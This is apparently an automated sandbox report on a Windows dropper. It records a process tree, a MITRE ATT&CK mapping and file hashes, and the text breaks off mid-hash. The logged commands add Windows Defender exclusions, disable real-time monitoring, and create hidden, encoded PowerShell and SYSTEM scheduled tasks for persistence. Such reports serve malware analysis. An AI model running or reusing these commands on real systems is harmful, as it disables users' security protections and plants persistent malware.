PID 772 wrote to memory of 1636	772	cmd.exe	37
PID 772 wrote to memory of 1636	772	cmd.exe	37
PID 772 wrote to memory of 1636	772	cmd.exe	37
PID 772 wrote to memory of 1636	772	cmd.exe	37
PID 1924 wrote to memory of 972	1924	cmd.exe	38
PID 1924 wrote to memory of 972	1924	cmd.exe	38
PID 1924 wrote to memory of 972	1924	cmd.exe	38
PID 1924 wrote to memory of 972	1924	cmd.exe	38
PID 1924 wrote to memory of 972	1924	cmd.exe	38
PID 1924 wrote to memory of 972	1924	cmd.exe	38
PID 1924 wrote to memory of 972	1924	cmd.exe	38
PID 772 wrote to memory of 1904	772	cmd.exe	39

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1448
- C:\Users\Admin\AppData\Local\Temp\7zS1E6A.tmp\Install.exe
  .\Install.exe
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - Suspicious use of WriteProcessMemory
  PID:1276
- - C:\Users\Admin\AppData\Local\Temp\7zS2CAD.tmp\Install.exe
    .\Install.exe /S /site_id "525403"
    3⤵
    - Executes dropped EXE
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Suspicious use of WriteProcessMemory
    PID:320
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1092
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:1924
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        6⤵
        
        PID:1540
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        6⤵
        
        PID:972
  - - C:\Windows\SysWOW64\forfiles.exe
      "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:360
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:772
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
        6⤵
        
        PID:1636
      - \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
        6⤵
        
        PID:1904
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "gfCWALYmA" /SC once /ST 15:13:28 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
      4⤵
      Creates scheduled task(s)
      PID:976
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /run /I /tn "gfCWALYmA"
      4⤵
      PID:288
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "gfCWALYmA"
      4⤵
      PID:1532
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /CREATE /TN "bFmTPRIbFUTpbCJKKp" /SC once /ST 16:03:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi\OxxucIAIMPDsCEk\pqBhmrR.exe\" GL /site_id 525403 /S" /V1 /F
      4⤵
      Drops file in Windows directory
      Creates scheduled task(s)
      PID:568

C:\Windows\system32\taskeng.exe
taskeng.exe {1538E97B-54C8-4B6A-87C1-8AFCC922C857} S-1-5-21-4063495947-34355257-727531523-1000:RYNKSFQE\Admin:Interactive:[1]
1⤵
PID:1728
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1648
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:956
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1832
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1500
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1892
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:976
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1160
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:1716

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:620

C:\Windows\system32\taskeng.exe
taskeng.exe {4866AE9C-3E00-42D4-B842-162120991CE1} S-1-5-18:NT AUTHORITY\System:Service:
1⤵
PID:864
- C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi\OxxucIAIMPDsCEk\pqBhmrR.exe
  C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi\OxxucIAIMPDsCEk\pqBhmrR.exe GL /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  PID:904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "geuiMEoGt" /SC once /ST 05:20:21 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1916
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "geuiMEoGt"
    3⤵
    PID:1924
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "geuiMEoGt"
    3⤵
    PID:1008
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
    3⤵
    PID:1212
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:32
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1180
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
    3⤵
    PID:1324
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /f /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /reg:64
      4⤵
      Modifies Windows Defender Real-time Protection settings
      PID:1552
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gGedILevh" /SC once /ST 11:08:06 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:1412
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gGedILevh"
    3⤵
    PID:1528
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gGedILevh"
    3⤵
    PID:1284
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1204
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1720
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:1680
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1752
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
    3⤵
    PID:1572
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1180
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
    3⤵
    PID:2036
  - - C:\Windows\SysWOW64\reg.exe
      REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1552
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C copy nul "C:\Windows\Temp\DqqpsCessXFqdFpq\XcWzziQk\yDBPRZCwMGOmEXXj.wsf"
    3⤵
    PID:1800
- - C:\Windows\SysWOW64\wscript.exe
    wscript "C:\Windows\Temp\DqqpsCessXFqdFpq\XcWzziQk\yDBPRZCwMGOmEXXj.wsf"
    3⤵
    - Modifies data under HKEY_USERS
    PID:984
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcQBYHwmLrIU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1684
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcQBYHwmLrIU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1820
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:952
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1948
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OyGyVqLCXKUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1320
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OyGyVqLCXKUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1312
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aazYDpmAU" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1676
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aazYDpmAU" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:668
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaLEnBzGCyciC" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1464
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaLEnBzGCyciC" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1284
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RXXjOxYqdtOKwXVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1584
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RXXjOxYqdtOKwXVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1980
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:600
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1696
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1580
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:1636
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcQBYHwmLrIU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1168
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BcQBYHwmLrIU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1920
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1912
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\DkvxDxdJRMKKbbPFPtR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1716
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OyGyVqLCXKUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1132
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\OyGyVqLCXKUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1560
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aazYDpmAU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1676
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\aazYDpmAU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1056
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaLEnBzGCyciC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1976
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\xaLEnBzGCyciC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1464
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RXXjOxYqdtOKwXVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:964
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\RXXjOxYqdtOKwXVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1524
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1624
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\lXjMOKIfViuXxgfEi" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:600
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1608
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\DqqpsCessXFqdFpq" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:772
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "gkPOqbKlI" /SC once /ST 10:28:24 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
    3⤵
    - Creates scheduled task(s)
    PID:632
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "gkPOqbKlI"
    3⤵
    PID:1616
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "gkPOqbKlI"
    3⤵
    PID:1416
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
    3⤵
    PID:1712
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:32
      4⤵
      PID:1976
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
    3⤵
    PID:1572
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-time Protection" /v "DisableRealtimeMonitoring" /f /reg:64
      4⤵
      PID:1532
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "IwUIDUlWwCCaleROq" /SC once /ST 11:08:58 /RU "SYSTEM" /TR "\"C:\Windows\Temp\DqqpsCessXFqdFpq\SeFoGryJSoVOCWO\JWXGzEb.exe\" Tb /site_id 525403 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1180
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "IwUIDUlWwCCaleROq"
    3⤵
    PID:1972
- C:\Windows\Temp\DqqpsCessXFqdFpq\SeFoGryJSoVOCWO\JWXGzEb.exe
  C:\Windows\Temp\DqqpsCessXFqdFpq\SeFoGryJSoVOCWO\JWXGzEb.exe Tb /site_id 525403 /S
  2⤵
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Modifies system certificate store
  - Suspicious behavior: EnumeratesProcesses
  PID:1412
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bFmTPRIbFUTpbCJKKp"
    3⤵
    PID:600
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
    3⤵
    PID:984
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:32
      4⤵
      PID:1368
- - C:\Windows\SysWOW64\cmd.exe
    cmd /C REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
    3⤵
    PID:1476
  - - C:\Windows\SysWOW64\reg.exe
      REG DELETE "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /v "exe" /f /reg:64
      4⤵
      PID:1580
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\aazYDpmAU\kZjjKj.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "yQJFyOflsJsySqW" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1924

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:604

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:552

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:976

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Disabling Security Tools

T1089

Install Root Certificate

T1130

Modify Registry

T1112

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\7zS1E6A.tmp\Install.exe

Filesize
6.2MB

MD5
56eb94a936cf7a9f0c7c7d56b9f805a0

SHA1
c0f8b038bf419252e98f4b2777264a7c7fbd1c08

SHA256
2c5535fd143446523fcaf514077d6ad80257805f83ed391ba4954229bbfa9257

SHA512
1dfde425e55fb37363b4a83922cdd7ace6dbcffd70d13fd097c9c89e5c8fc3867200f41f5725d01d712d656a807d5ff023bc7e441c39538a506f1f5e8266d420

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS1E6A.tmp\Install.exe

Filesize
6.2MB

MD5
56eb94a936cf7a9f0c7c7d56b9f805a0

SHA1
c0f8b038bf419252e98f4b2777264a7c7fbd1c08

SHA256
2c5535fd143446523fcaf514077d6ad80257805f83ed391ba4954229bbfa9257

SHA512
1dfde425e55fb37363b4a83922cdd7ace6dbcffd70d13fd097c9c89e5c8fc3867200f41f5725d01d712d656a807d5ff023bc7e441c39538a506f1f5e8266d420

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS2CAD.tmp\Install.exe

Filesize
6.7MB

MD5
5cc92c7a5cd84bb226780fadbdd4349c

SHA1
bedcb81a19fc8742f28cbf3648a9015ef13bb287

SHA256
